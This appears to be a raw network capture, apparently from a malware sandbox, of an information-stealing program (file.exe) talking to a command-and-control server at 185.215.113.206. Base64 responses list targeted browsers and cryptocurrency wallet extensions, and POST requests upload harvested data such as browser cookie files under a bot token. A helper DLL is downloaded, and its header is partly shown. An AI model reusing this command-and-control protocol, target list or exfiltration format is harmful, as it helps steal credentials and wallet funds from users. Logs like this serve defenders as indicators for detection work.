R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 15:16:32.090327024 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 18, 2024 15:16:32.091500998 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="message"plugins------CFIECBFIDGDAKFHIEHJK--
Nov 18, 2024 15:16:32.372263908 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 15:16:32.372392893 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 18, 2024 15:16:32.372404099 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 18, 2024 15:16:32.372644901 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 18, 2024 15:16:32.372657061 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 18, 2024 15:16:32.373106003 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 18, 2024 15:16:32.373447895 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 18, 2024 15:16:32.373459101 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 18, 2024 15:16:32.374811888 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="message"fplugins------AFBAFBKEGCFBGCBFIDAK--
Nov 18, 2024 15:16:32.655196905 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 15:16:32.673877954 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIE Host: 185.215.113.206 Content-Length: 5147 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 15:16:32.673938990 CET	5147	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 15:16:33.665637016 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:34.335237026 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 15:16:34.613934040 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 18, 2024 15:16:34.614051104 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49732	185.215.113.206	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:16:45.740173101 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHID Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKFCBFHJDHJKECAKEHID--
Nov 18, 2024 15:16:47.171206951 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:47.488723993 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 61 64 37 32 63 66 35 65 61 31 33 62 31 64 32 63 61 34 65 63 38 65 34 30 30 32 34 63 66 61 30 32 62 36 34 33 63 32 37 32 32 38 33 65 63 36 38 63 66 63 61 62 64 34 62 33 38 33 39 37 33 39 33 34 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="file"------JKEGHDGHCGHDHJKFBFBK--
Nov 18, 2024 15:16:49.267627954 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:49.270414114 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:49.270560026 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 15:16:49.271112919 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49750	185.215.113.206	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 15:16:55.499361992 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 15:16:55.499614954 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 34 64 63 33 Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"804dc3ad72cf5ea13b1d2ca4ec8e40024cfa02b643c272283ec68cfcabd4b383973934c5------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 18, 2024 15:16:56.950212002 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:16:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
